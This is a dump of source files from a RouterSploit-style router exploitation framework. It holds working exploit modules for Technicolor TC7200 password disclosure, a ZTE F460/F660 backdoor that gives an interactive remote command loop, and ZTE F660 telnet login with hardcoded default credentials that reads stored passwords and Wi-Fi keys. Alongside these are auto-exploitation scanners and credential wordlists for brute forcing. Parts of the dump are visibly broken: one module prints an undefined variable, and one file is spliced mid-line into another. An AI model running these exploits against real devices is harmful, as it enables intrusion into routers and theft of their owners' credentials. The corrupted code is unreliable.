-------------------------------------------------------------------------------- /routersploit/modules/exploits/shuttle/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/shuttle/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/technicolor/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/technicolor/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/technicolor/tc7200_password_disclosure.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_success, 4 | print_error, 5 | http_request, 6 | mute, 7 | validators, 8 | ) 9 | 10 | 11 | class Exploit(exploits.Exploit): 12 | """ 13 | Exploit implementation for Technicolor TC7200 password disclosure vulnerability. 14 | If the target is vulnerable, it allows read credentials for administration user. 15 | """ 16 | __info__ = { 17 | 'name': 'Technicolor TC7200 Password Disclosure', 18 | 'description': 'Module exploits Technicolor TC7200 password disclosure vulnerability which allows fetching administration\'s password.', 19 | 'authors': [ 20 | 'Jeroen - IT Nerdbox', # vulnerability discovery 21 | 'Marcin Bury ', # routersploit module 22 | ], 23 | 'references': [ 24 | 'https://www.exploit-db.com/exploits/31894/', 25 | ], 26 | 'devices': [ 27 | 'Technicolor TC7200', 28 | ] 29 | } 30 | 31 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) 32 | port = exploits.Option(80, 'Target Port') 33 | 34 | def run(self): 35 | url = "{}:{}/goform/system/GatewaySettings.bin".format(self.target, self.port) 36 | 37 | response = http_request(method="GET", url=url) 38 | if response is None: 39 | return 40 | 41 | if response.status_code == 200 and "0MLog" in response.text: 42 | print_success("Exploit success") 43 | print r.text 44 | else: 45 | print_error("Exploit failed. Device seems to be not vulnerable.") 46 | 47 | @mute 48 | def check(self): 49 | url = "{}:{}/goform/system/GatewaySettings.bin".format(self.target, self.port) 50 | 51 | response = http_request(method="GET", url=url) 52 | if response is None: 53 | return False # target is not vulnerable 54 | 55 | if response.status_code == 200 and "0Mlog" in response.text: 56 | return True # target is vulnerable 57 | else: 58 | return False # target is not vulnerable 59 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/ubiquiti/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/ubiquiti/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/zte/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/zte/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/zte/f460_f660_backdoor.py: -------------------------------------------------------------------------------- 1 | import re 2 | import string 3 | 4 | from routersploit import ( 5 | exploits, 6 | http_request, 7 | mute, 8 | validators, 9 | random_text, 10 | print_error, 11 | print_success, 12 | print_status, 13 | print_info 14 | ) 15 | 16 | 17 | class Exploit(exploits.Exploit): 18 | """ 19 | Exploit implementation for ZTE F460 and F660 Backdoor vulnerability. 20 | If the target is vulnerable it allows to execute commands on operating system level. 21 | """ 22 | __info__ = { 23 | 'name': 'ZTE F460 & F660 Backdoor RCE', 24 | 'description': 'Exploits ZTE F460 and F660 backdoor vulnerability that allows executing commands on operating system level.', 25 | 'authors': [ 26 | 'Rapid7', # vulnerabilty discovery 27 | 'Marcin Bury ', # routersploit module 28 | ], 29 | 'references': [ 30 | 'https://community.rapid7.com/community/infosec/blog/2014/03/04/disclosure-r7-2013-18-zte-f460-and-zte-f660-webshellcmdgch-backdoor', 31 | ], 32 | 'devices': [ 33 | 'ZTE F460', 34 | 'ZTE F660', 35 | ], 36 | } 37 | 38 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 39 | port = exploits.Option(80, 'Target port') # default port 40 | 41 | def run(self): 42 | if self.check(): 43 | print_success("Target is vulnerable") 44 | print_status("Invoking command loop") 45 | self.command_loop() 46 | else: 47 | print_error("Exploit failed - target seems to be not vulnerable") 48 | 49 | def command_loop(self): 50 | while 1: 51 | cmd = raw_input("cmd > ") 52 | 53 | if cmd in ['exit', 'quit']: 54 | return 55 | 56 | print_info(self.execute(cmd)) 57 | 58 | 59 | def execute(self, cmd): 60 | url = "{}:{}/web_shell_cmd.gch".format(self.target, self.port) 61 | headers = {u'Content-Type': u'multipart/form-data'} 62 | data = {'IF_ACTION': 'apply', 63 | 'IF_ERRORSTR': 'SUCC', 64 | 'IF_ERRORPARAM': 'SUCC', 65 | 'IF_ERRORTYPE': '-1', 66 | 'Cmd': cmd, 67 | 'CmdAck': ''} 68 | 69 | response = http_request(method="POST", url=url, headers=headers, data=data) 70 | if response is None: 71 | return "" 72 | 73 | if response.status_code == 200: 74 | regexp = '' 75 | res = re.findall(regexp, response.text, re.DOTALL) 76 | 77 | if len(res): 78 | return res[0] 79 | 80 | return "" 81 | 82 | def check(self): 83 | marker = random_text(32) 84 | cmd = "echo {}".format(marker) 85 | 86 | response = self.execute(cmd) 87 | if marker in response: 88 | return True # target is vulnerable 89 | 90 | return False # target is not vulnerable 91 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/zte/f660_config_disclosure.py: -------------------------------------------------------------------------------- 1 | import telnetlib 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_status, 6 | print_success, 7 | print_error, 8 | mute, 9 | ) 10 | 11 | 12 | class Exploit(exploits.Exploit): 13 | """ 14 | Exploit implementation for ZTE F660 Config Disclosure. 15 | If the target is vulnerable it is possible to authenticate to the device" 16 | """ 17 | __info__ = { 18 | 'name': 'ZTE F660 Config Disclosure', 19 | 'description': 'Module exploits ZTE F660 Config Disclosure. If the target is possible to authentiate to the device.', 20 | 'authors': [ 21 | 'devilscream', # vulnerability discovery & routersploit module 22 | ], 23 | 'references': [ 24 | 'http://www.ironbugs.com/2016/02/hack-and-patch-your-zte-f660-routers.html', 25 | ], 26 | 'devices': [ 27 | 'ZTE ZXA10 F660', 28 | ] 29 | } 30 | 31 | target = exploits.Option('', 'Target address e.g. 192.168.1.1') # target address 32 | username = exploits.Option("root", "Username to authenticate with") # telnet username, default root 33 | password = exploits.Option("Zte521", "Password to authenticate with") # telnet password, default Zte521 34 | config = "cat /userconfig/cfg/db_user_cfg.xml | grep -E 'UserName|Username|Password|password|ESSID|KeyPhase'" 35 | 36 | def run(self): 37 | try: 38 | print_status("Trying to authenticate to the telnet server") 39 | tn = telnetlib.Telnet(self.target, 23) 40 | tn.expect(["Login: ", "login: "], 5) 41 | tn.write(self.username + "\r\n") 42 | tn.expect(["Password: ", "password"], 5) 43 | tn.write(self.password + "\r\n") 44 | 45 | (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5) 46 | 47 | if i != -1: 48 | print_error("Exploit failed") 49 | else: 50 | if any(map(lambda x: x in res, ["#", "$", ">"])): 51 | print_success("Authentication successful") 52 | print_status("Displaying configuration file:") 53 | tn.write(self.config + "\r\n") 54 | tn.interact() 55 | else: 56 | print_error("Exploit failed") 57 | 58 | tn.close() 59 | except: 60 | print_error("Connection error: {}:{}".format(self.target, 23)) 61 | 62 | @mute 63 | def check(self): 64 | try: 65 | tn = telnetlib.Telnet(self.target, 23) 66 | tn.expect(["Login: ", "login: "], 5) 67 | tn.write(self.username + "\r\n") 68 | tn.expect(["Password: ", "password"], 5) 69 | tn.write(self.password + "\r\n") 70 | tn.write(self.config + "\r\n") 71 | 72 | (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5) 73 | tn.close() 74 | 75 | if i != -1: 76 | return False # target is not vulnerable 77 | else: 78 | if any(map(lambda x: x in res, [""])): 53 | print_success("Authentication successful") 54 | tn.write("\r\n") 55 | tn.interact() 56 | else: 57 | print_error("Exploit failed") 58 | 59 | tn.close() 60 | except: 61 | print_error("Connection error {}:{}".format(self.target, self.port)) 62 | 63 | @mute 64 | def check(self): 65 | try: 66 | tn = telnetlib.Telnet(self.target, 23) 67 | tn.expect(["Login: ", "login: "], 5) 68 | tn.write(self.username + "\r\n") 69 | tn.expect(["Password: ", "password"], 5) 70 | tn.write(self.password + "\r\n") 71 | tn.write("\r\n") 72 | 73 | (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5) 74 | tn.close() 75 | 76 | if i != -1: 77 | return False # target is not vulnerable 78 | else: 79 | if any(map(lambda x: x in res, ["#", "$", ">"])): 80 | return True # target is vulnerable 81 | except: 82 | return False # target is not vulnerable 83 | 84 | return False # target is not vulnerable 85 | -------------------------------------------------------------------------------- /routersploit/modules/scanners/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/scanners/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/scanners/autopwn.py: -------------------------------------------------------------------------------- 1 | from os import listdir 2 | import imp 3 | 4 | from routersploit import ( 5 | exploits, 6 | print_error, 7 | print_success, 8 | print_status, 9 | print_info, 10 | ) 11 | 12 | 13 | class Exploit(exploits.Exploit): 14 | """ 15 | Scanner implementation for all vulnerabilities. 16 | """ 17 | __info__ = { 18 | 'name': 'AutoPwn', 19 | 'description': 'Scanner module for all vulnerabilities.', 20 | 'authors': [ 21 | 'Marcin Bury ', # routersploit module 22 | ], 23 | 'references': ( 24 | '', 25 | ), 26 | 'devices': ( 27 | 'Multi', 28 | ), 29 | } 30 | 31 | target = exploits.Option('', 'Target IP address e.g. 192.168.1.1') # target address 32 | port = exploits.Option(80, 'Target port') # default port 33 | 34 | def run(self): 35 | rootpath = 'routersploit/modules/' 36 | path = 'exploits' 37 | 38 | modules = [] 39 | for device in listdir(rootpath+path): # TODO refactor this, using load_modules() from core 40 | if not device.endswith(".py") and not device.endswith(".pyc"): 41 | for f in listdir(rootpath+path + "/" + device): 42 | if f.endswith(".py") and f != "__init__.py": 43 | modules.append(device + "/" + f[:-3]) 44 | 45 | vulnerabilities = [] 46 | for module_name in modules: 47 | f = "".join((path, "/", module_name)) 48 | 49 | module = imp.load_source('module', rootpath + f + '.py') 50 | exploit = module.Exploit() 51 | 52 | exploit.target = self.target 53 | exploit.port = self.port 54 | 55 | response = exploit.check() 56 | 57 | if response is True: 58 | print_success("{} is vulnerable".format(f)) 59 | vulnerabilities.append(f) 60 | elif response is False: 61 | print_error("{} is not vulnerable".format(f)) 62 | else: 63 | print_status("{} could not be verified".format(f)) 64 | 65 | if vulnerabilities: 66 | print 67 | print_success("Device is vulnerable!") 68 | for v in vulnerabilities: 69 | print_info(" - {}".format(v)) 70 | else: 71 | print_error("Device is not vulnerable to any exploits!\n") 72 | 73 | def check(self): 74 | raise NotImplementedError("Check method is not available") 75 | -------------------------------------------------------------------------------- /routersploit/modules/scanners/dlink_scan.py: -------------------------------------------------------------------------------- 1 | from os import listdir 2 | from os.path import isfile, join 3 | import imp 4 | 5 | from routersploit import ( 6 | exploits, 7 | print_success, 8 | print_error, 9 | print_status, 10 | ) 11 | 12 | 13 | class Exploit(exploits.Exploit): 14 | """ 15 | D-Link Scanner 16 | """ 17 | __info__ = { 18 | 'name': 'D-Link Scanner', 19 | 'description': 'Scanner module for D-Link devices', 20 | 'authors': [ 21 | 'Marcin Bury ', # routersploit module 22 | ], 23 | 'references': ( 24 | '', 25 | ), 26 | 'devices': ( 27 | 'Multi', 28 | ) 29 | } 30 | 31 | target = exploits.Option('', 'Target IP address e.g. 192.168.1.1') # target address 32 | port = exploits.Option(80, 'Target port') # default port 33 | 34 | def run(self): 35 | rootpath = 'routersploit/modules/' 36 | path = 'exploits/dlink/' 37 | 38 | # only py exploit files 39 | modules = [f.replace(".py", "") for f in listdir(rootpath + path) if isfile(join(rootpath + path, f)) and f.endswith(".py") and f != "__init__.py"] 40 | 41 | vulns = [] 42 | for module_name in modules: 43 | f = path + module_name 44 | 45 | module = imp.load_source('module', rootpath + f + '.py') 46 | exploit = module.Exploit() 47 | 48 | exploit.target = self.target 49 | exploit.port = self.port 50 | 51 | res = exploit.check() 52 | 53 | if res is True: 54 | print_success("{} is vulnerable".format(f)) 55 | vulns.append(f) 56 | elif res is False: 57 | print_error("{} is not vulnerable".format(f)) 58 | else: 59 | print_status("{} could not be verified".format(f)) 60 | 61 | print 62 | if len(vulns): 63 | print_success("Device is vulnerable!") 64 | for v in vulns: 65 | print " - {}".format(v) 66 | else: 67 | print_error("Device is not vulnerable to any exploits!") 68 | print 69 | 70 | def check(self): 71 | raise NotImplementedError("Check method is not available") 72 | -------------------------------------------------------------------------------- /routersploit/test/__init__.py: -------------------------------------------------------------------------------- 1 | from routersploit.test.test_case import RoutersploitTestCase -------------------------------------------------------------------------------- /routersploit/test/test_case.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from routersploit.utils import NonStringIterable 4 | 5 | 6 | class RoutersploitTestCase(unittest.TestCase): 7 | def assertIsDecorated(self, function, decorator_name): 8 | try: 9 | decorator_list = function.__decorators__ 10 | except AttributeError: 11 | decorator_list = [] 12 | 13 | self.assertIn( 14 | decorator_name, 15 | decorator_list, 16 | msg="'{}' method should be decorated with 'module_required'".format(function.__name__) 17 | ) 18 | 19 | def assertIsSequence(self, arg): 20 | self.assertEqual( 21 | True, 22 | isinstance(arg, NonStringIterable), 23 | "'{}' is not a sequence".format(arg) 24 | ) -------------------------------------------------------------------------------- /routersploit/test/test_exploits.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | try: 4 | import unittest.mock as mock 5 | except ImportError: 6 | import mock 7 | 8 | from routersploit.test import RoutersploitTestCase 9 | from routersploit.exploits import Exploit, Option 10 | 11 | 12 | def suffix(x): 13 | return "{}_suffix".format(x) 14 | 15 | 16 | def SUFFIX(x): 17 | return "{}_SUFFIX".format(x) 18 | 19 | 20 | class TestExploitFoo(Exploit): 21 | doo = Option(default=1, description="description_one") 22 | paa = Option(default=2, description="description_two") 23 | 24 | 25 | class TestExploitBar(Exploit): 26 | doo = Option(default=3, description="description_three") 27 | paa = Option(default=4, description="description_four") 28 | 29 | 30 | class TestExploitWithValidators(Exploit): 31 | doo = Option(default="default_value", description="description_three", validators=suffix) 32 | paa = Option(default="default_value", description="description_three", validators=(suffix, SUFFIX)) 33 | 34 | 35 | class OptionTest(RoutersploitTestCase): 36 | def setUp(self): 37 | self.exploit_foo = TestExploitFoo() 38 | self.exploit_bar = TestExploitBar() 39 | self.exploit_with_validators = TestExploitWithValidators() 40 | 41 | def test_default_value(self): 42 | """ Test if default value is properly set. """ 43 | self.assertEqual(self.exploit_foo.doo, 1) 44 | self.assertEqual(self.exploit_foo.paa, 2) 45 | self.assertEqual(self.exploit_bar.doo, 3) 46 | self.assertEqual(self.exploit_bar.paa, 4) 47 | 48 | def test_set_value(self): 49 | """ Test if descriptors are properly set. """ 50 | self.exploit_foo.doo = "doopaa" 51 | self.exploit_foo.paa = "kajak" 52 | 53 | self.assertEqual(self.exploit_foo.doo, "doopaa") 54 | self.assertEqual(self.exploit_foo.paa, "kajak") 55 | self.assertEqual(self.exploit_bar.doo, 3) 56 | self.assertEqual(self.exploit_bar.paa, 4) 57 | 58 | def test_if_validator_is_NOT_applied_on_default_value(self): 59 | self.assertEqual(self.exploit_with_validators.doo, "default_value") 60 | 61 | def test_if_validator_is_applied_after_setting_value(self): 62 | self.exploit_with_validators.doo = "new_value" 63 | self.assertEqual(self.exploit_with_validators.doo, "new_value_suffix") 64 | 65 | def test_if_validator_is_applied_in_specific_order(self): 66 | self.exploit_with_validators.paa = "new_value" 67 | self.assertEqual(self.exploit_with_validators.paa, "new_value_suffix_SUFFIX") 68 | 69 | if __name__ == '__main__': 70 | unittest.main() 71 | 72 | -------------------------------------------------------------------------------- /routersploit/test/test_modules.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from routersploit.utils import iter_modules 4 | from routersploit.test import RoutersploitTestCase 5 | 6 | 7 | class ModuleTest(RoutersploitTestCase): 8 | """A test case that every module must pass. 9 | 10 | Attributes: 11 | module (Exploit): The exploit instance of the module being tested. 12 | metadata (Dict): The info associated with the module. 13 | """ 14 | 15 | def __init__(self, methodName='runTest', module=None): 16 | super(ModuleTest, self).__init__(methodName) 17 | self.module = module 18 | 19 | def __str__(self): 20 | return " ".join([super(ModuleTest, self).__str__(), self.module.__module__]) 21 | 22 | @property 23 | def module_metadata(self): 24 | return getattr(self.module, "_{}__info__".format(self.module.__name__)) 25 | 26 | def test_required_metadata(self): 27 | required_metadata = ( 28 | "name", 29 | "description", 30 | "devices", 31 | "authors", 32 | "references" 33 | ) 34 | self.assertItemsEqual(required_metadata, self.module_metadata.keys()) 35 | 36 | def test_metadata_type(self): 37 | self.assertIsSequence(self.module_metadata['authors']) 38 | self.assertIsSequence(self.module_metadata['references']) 39 | self.assertIsSequence(self.module_metadata['devices']) 40 | 41 | 42 | def load_tests(loader, tests, pattern): 43 | """ Map every module to a test case, and group them into a suite. """ 44 | 45 | suite = unittest.TestSuite() 46 | test_names = loader.getTestCaseNames(ModuleTest) 47 | for module in iter_modules(): 48 | suite.addTests([ModuleTest(name, module) for name in test_names]) 49 | return suite 50 | 51 | 52 | if __name__ == '__main__': 53 | unittest.main() 54 | -------------------------------------------------------------------------------- /routersploit/test/test_utils.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | try: 4 | import unittest.mock as mock 5 | except ImportError: 6 | import mock 7 | 8 | from routersploit.utils import index_modules 9 | from routersploit.test import RoutersploitTestCase 10 | 11 | 12 | class UtilsTest(RoutersploitTestCase): 13 | @mock.patch('os.walk') 14 | def test_load_modules_01(self, mock_walk): 15 | mock_walk.return_value = ( 16 | ('/Abs/Path/routersploit/routersploit/modules', ['asmax', 'creds'], ['__init__.py', '__init__.pyc']), 17 | ('/Abs/Path/routersploit/routersploit/modules/creds', [], ['__init__.py', '__init__.pyc', 'ftp_bruteforce.py', 'ftp_bruteforce.pyc']), 18 | ('/Abs/Path/routersploit/routersploit/modules/exploits/asmax', [], ['__init__.py', '__init__.pyc', 'asmax_exploit.py', 'asmax_exploit.pyc']), 19 | ) 20 | 21 | path = 'path/to/module' 22 | modules = index_modules(path) 23 | 24 | mock_walk.assert_called_once_with(path) 25 | self.assertEqual( 26 | modules, 27 | [ 28 | 'creds.ftp_bruteforce', 29 | 'exploits.asmax.asmax_exploit' 30 | ] 31 | ) 32 | 33 | @mock.patch('os.walk') 34 | def test_load_modules_import_error_02(self, mock_walk): 35 | mock_walk.return_value = ( 36 | ('/Abs/Path/routersploit/routersploit/modules', ['asmax', 'creds'], ['__init__.py', '__init__.pyc']), 37 | ('/Abs/Path/routersploit/routersploit/modules/creds', [], ['__init__.py', '__init__.pyc', 'ftp_bruteforce.py', 'ftp_bruteforce.pyc']), 38 | ('/Abs/Path/routersploit/routersploit/modules/exploits/asmax', [], ['__init__.py', '__init__.pyc', 'asmax_exploit.py', 'asmax_exploit.pyc', 'asmax_multi.py', 'asmax_multi.pyc']), 39 | ) 40 | 41 | path = 'path/to/module' 42 | modules = index_modules(path) 43 | 44 | mock_walk.assert_called_once_with(path) 45 | 46 | self.assertEqual( 47 | modules, 48 | [ 49 | 'creds.ftp_bruteforce', 50 | 'exploits.asmax.asmax_exploit', 51 | 'exploits.asmax.asmax_multi', 52 | ] 53 | ) 54 | 55 | if __name__ == '__main__': 56 | unittest.main() -------------------------------------------------------------------------------- /routersploit/test/test_validators.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import socket 3 | 4 | try: 5 | import unittest.mock as mock 6 | except ImportError: 7 | import mock 8 | 9 | from routersploit.test import RoutersploitTestCase 10 | from routersploit import validators 11 | from routersploit.exceptions import OptionValidationError 12 | 13 | 14 | class ValidatorsTest(RoutersploitTestCase): 15 | def test_url_adding_http_prefix(self): 16 | self.assertEqual(validators.url("127.0.0.1"), "http://127.0.0.1") 17 | 18 | def test_url_already_with_http_prefix(self): 19 | self.assertEqual(validators.url("http://127.0.0.1"), "http://127.0.0.1") 20 | 21 | def test_url_already_with_https_prefix(self): 22 | self.assertEqual(validators.url("https://127.0.0.1"), "https://127.0.0.1") 23 | 24 | def test_ipv4_valid_address(self): 25 | address = "127.0.0.1" 26 | self.assertEqual(validators.ipv4(address), address) 27 | 28 | def test_ipv4_invalid_address_1(self): 29 | """ IP address with segment out of range. """ 30 | address = "127.256.0.1" 31 | with self.assertRaises(OptionValidationError): 32 | validators.ipv4(address) 33 | 34 | def test_ipv4_invalid_address_2(self): 35 | """ IP address with 4 digit segment. """ 36 | address = "127.0.0.1234" 37 | with self.assertRaises(OptionValidationError): 38 | validators.ipv4(address) 39 | 40 | def test_ipv4_invalid_address_3(self): 41 | """ IP address with extra segment """ 42 | address = "127.0.0.123.123" 43 | with self.assertRaises(OptionValidationError): 44 | validators.ipv4(address) 45 | 46 | @mock.patch("socket.inet_pton") 47 | def test_ipv4_no_inet_pton_valid_address(self, mock_inet_pton): 48 | address = "127.0.0.1" 49 | mock_inet_pton.side_effect = AttributeError 50 | self.assertEqual(validators.ipv4(address), "127.0.0.1") 51 | 52 | @mock.patch("socket.inet_pton") 53 | def test_ipv4_no_inet_pton_invalid_address_1(self, mock_inet_pton): 54 | """ IP address with segment out of range. """ 55 | address = "127.256.0.1" 56 | mock_inet_pton.side_effect = AttributeError 57 | with self.assertRaises(OptionValidationError): 58 | validators.ipv4(address) 59 | 60 | @mock.patch("socket.inet_pton") 61 | def test_ipv4_no_inet_pton_invalid_address_2(self, mock_inet_pton): 62 | """ IP address with 4 digit segment. """ 63 | address = "127.0.0.1234" 64 | mock_inet_pton.side_effect = AttributeError 65 | with self.assertRaises(OptionValidationError): 66 | validators.ipv4(address) 67 | 68 | @mock.patch("socket.inet_pton") 69 | def test_ipv4_no_inet_pton_invalid_address_3(self, mock_inet_pton): 70 | """ IP address with extra segment """ 71 | address = "127.0.0.123.123" 72 | mock_inet_pton.side_effect = AttributeError 73 | with self.assertRaises(OptionValidationError): 74 | validators.ipv4(address) 75 | 76 | def test_ipv4_strip_scheme_1(self): 77 | address = "http://127.0.0.1" 78 | self.assertEqual(validators.ipv4(address), "127.0.0.1") 79 | 80 | def test_ipv4_strip_scheme_2(self): 81 | address = "ftp://127.0.0.1" 82 | self.assertEqual(validators.ipv4(address), "127.0.0.1") 83 | 84 | 85 | if __name__ == '__main__': 86 | unittest.main() 87 | -------------------------------------------------------------------------------- /routersploit/validators.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import urlparse 3 | 4 | from .exceptions import OptionValidationError 5 | 6 | 7 | def url(address): 8 | """Sanitize url. 9 | 10 | Converts address to valid HTTP url. 11 | """ 12 | if address.startswith("http://") or address.startswith("https://"): 13 | return address 14 | else: 15 | return "http://{}".format(address) 16 | 17 | 18 | def ipv4(address): 19 | address = urlparse.urlsplit(address) 20 | address = address.netloc or address.path 21 | try: 22 | socket.inet_pton(socket.AF_INET, address) 23 | except AttributeError: 24 | try: 25 | socket.inet_aton(address) 26 | except socket.error: 27 | raise OptionValidationError("Option have to be valid IP address.") 28 | 29 | if address.count('.') == 3: 30 | return address 31 | else: 32 | raise OptionValidationError("Option have to be valid IP address.") 33 | except socket.error: 34 | raise OptionValidationError("Option have to be valid IP address.") 35 | 36 | return address 37 | -------------------------------------------------------------------------------- /routersploit/wordlists/__init__.py: -------------------------------------------------------------------------------- 1 | import pkg_resources 2 | 3 | 4 | defaults = 'file://' + pkg_resources.resource_filename(__name__, 'defaults.txt') 5 | passwords = 'file://' + pkg_resources.resource_filename(__name__, 'passwords.txt') 6 | usernames = 'file://' + pkg_resources.resource_filename(__name__, 'usernames.txt') 7 | snmp = 'file://'+ pkg_resources.resource_filename(__name__, 'snmp.txt') 8 | -------------------------------------------------------------------------------- /routersploit/wordlists/snmp.txt: -------------------------------------------------------------------------------- 1 | public 2 | private 3 | 0 4 | 0392a0 5 | 1234 6 | 2read 7 | 4changes 8 | ANYCOM 9 | Admin 10 | C0de 11 | CISCO 12 | CR52401 13 | IBM 14 | ILMI 15 | Intermec 16 | NoGaH$@! 17 | OrigEquipMfr 18 | PRIVATE 19 | PUBLIC 20 | Private 21 | Public 22 | SECRET 23 | SECURITY 24 | SNMP 25 | SNMP_trap 26 | SUN 27 | SWITCH 28 | SYSTEM 29 | Secret 30 | Security 31 | Switch 32 | System 33 | TENmanUFactOryPOWER 34 | TEST 35 | access 36 | adm 37 | admin 38 | agent 39 | agent_steal 40 | all 41 | all private 42 | all public 43 | apc 44 | bintec 45 | blue 46 | c 47 | cable-d 48 | canon_admin 49 | cc 50 | cisco 51 | community 52 | core 53 | debug 54 | default 55 | dilbert 56 | enable 57 | field 58 | field-service 59 | freekevin 60 | fubar 61 | guest 62 | hello 63 | hp_admin 64 | ibm 65 | ilmi 66 | intermec 67 | internal 68 | l2 69 | l3 70 | manager 71 | mngt 72 | monitor 73 | netman 74 | network 75 | none 76 | openview 77 | pass 78 | password 79 | pr1v4t3 80 | proxy 81 | publ1c 82 | read 83 | read-only 84 | read-write 85 | readwrite 86 | red 87 | regional 88 | rmon 89 | rmon_admin 90 | ro 91 | root 92 | router 93 | rw 94 | rwa 95 | s!a@m#n$p%c 96 | san-fran 97 | sanfran 98 | scotty 99 | secret 100 | security 101 | seri 102 | snmp 103 | snmpd 104 | snmptrap 105 | solaris 106 | sun 107 | superuser 108 | switch 109 | system 110 | tech 111 | test 112 | test2 113 | tiv0li 114 | tivoli 115 | trap 116 | world 117 | write 118 | xyzzy 119 | yellow 120 | 121 | -------------------------------------------------------------------------------- /routersploit/wordlists/usernames.txt: -------------------------------------------------------------------------------- 1 | !root 2 | test 3 | (blank) 4 | (brak) 5 | (non) 6 | ) 7 | + 8 | 1.79 9 | 11111 10 | 1234 11 | 1502 12 | 2000 13 | 266344 14 | 31994 15 | 3comcso 16 | 60020 17 | ADMINISTRATOR 18 | ADMN 19 | ADSL 20 | ADVMAIL 21 | Admin 22 | Administrator 23 | Alphanetworks 24 | Anonymous 25 | Any 26 | CISCO15 27 | CSG 28 | Cisco 29 | Clarissa 30 | D-Link 31 | DTA 32 | FIELD 33 | FORCE 34 | Factory 35 | GEN1 36 | GEN2 37 | Gearguy 38 | GlobalAdmin 39 | Guest 40 | HELLO 41 | HPN 42 | HPOFFICE 43 | HPP187 44 | HPWORD 45 | HTTP 46 | IntraStack 47 | IntraSwitch 48 | JDE 49 | LUCENT01 50 | LUCENT02 51 | MAC 52 | MAIL 53 | MANAGER 54 | MD110 55 | MDaemon 56 | MGR 57 | MICRO 58 | Manager 59 | McdataSE 60 | Menara 61 | NAU 62 | NETOP 63 | NETWORK 64 | NICONEX 65 | OPERATOR 66 | OR 67 | PBX 68 | PCUSER 69 | PFCUser 70 | PRODDTA 71 | PSEAdmin 72 | Polycom 73 | RMUser1 74 | RSBCMON 75 | Root 76 | SPOOLMAN 77 | SSA 78 | SUPERUSER 79 | SYSADM 80 | SYSDBA 81 | Service 82 | TMAR#HWMT8007079 83 | USERID 84 | User 85 | VNC 86 | WP 87 | acc 88 | adfexc 89 | adm 90 | admin 91 | admin2 92 | administrator 93 | adminstat 94 | adminstrator 95 | telecomadmin 96 | adminttd 97 | adminuser 98 | adminview 99 | all 100 | ami 101 | anonymous 102 | apc 103 | at4400 104 | bbsd-client 105 | bciim 106 | bcim 107 | bcms 108 | bcnas 109 | blue 110 | browse 111 | cablecom 112 | cac_admin 113 | ccrusr 114 | cellit 115 | cgadmin 116 | characters) 117 | cisco 118 | citel 119 | client 120 | cmaker 121 | comcast 122 | corecess 123 | craft 124 | cusadmin 125 | cust 126 | customer 127 | d.e.b.u.g 128 | dadmin 129 | davox 130 | debug 131 | defug 132 | deskalt 133 | deskman 134 | desknorm 135 | deskres 136 | device 137 | dhs3mt 138 | dhs3pms 139 | diag 140 | disttech 141 | draytek 142 | e250 143 | e500 144 | echo 145 | edimax 146 | enable 147 | eng 148 | engmode 149 | enquiry 150 | expert 151 | field 152 | ftp_admi 153 | ftp_inst 154 | ftp_nmc 155 | ftp_oper 156 | ftpuser 157 | guest 158 | halt 159 | helpdesk 160 | hsa 161 | hscroot 162 | hydrasna 163 | iclock 164 | images 165 | inads 166 | init 167 | install 168 | installer 169 | integrator 170 | intel 171 | intermec 172 | isp 173 | jagadmin 174 | kermit 175 | l2 176 | l3 177 | live 178 | locate 179 | login 180 | lp 181 | m1122 182 | mac 183 | maint 184 | maintainer 185 | manage 186 | manager 187 | manuf 188 | mediator 189 | mlusr 190 | monitor 191 | mso 192 | mtch 193 | mtcl 194 | n/a 195 | naadmin 196 | netadmin 197 | netman 198 | netopia 199 | netrangr 200 | netscreen 201 | newuser 202 | nms 203 | nmt 204 | none 205 | often 206 | on 207 | op 208 | operator 209 | patrol 210 | piranha 211 | pmd 212 | poll 213 | public 214 | radware 215 | rapport 216 | rcust 217 | readonly 218 | readwrite 219 | recovery 220 | replicator 221 | ro 222 | root 223 | rw 224 | rwa 225 | sa 226 | scmadmin 227 | scout 228 | security 229 | serial# 230 | service 231 | setup 232 | smc 233 | spcl 234 | storwatch 235 | stratacom 236 | su 237 | super 238 | super.super 239 | superadmin 240 | superman 241 | superuser 242 | supervisor 243 | support 244 | sweex 245 | sys 246 | sysadm 247 | sysadmin 248 | system 249 | system/manager 250 | target 251 | teacher 252 | tech 253 | telco 254 | telecom 255 | tellabs 256 | temp1 257 | tiara 258 | tiger 259 | topicalt 260 | topicnorm 261 | topicres 262 | ubnt 263 | user 264 | vcr 265 | veda 266 | vodafone 267 | volition 268 | vt100 269 | webadmin 270 | websecadm 271 | wlse 272 | wlseuser 273 | wradmin 274 | write 275 | xbox 276 | xd 277 | ZXDSL -------------------------------------------------------------------------------- /rsf.py: 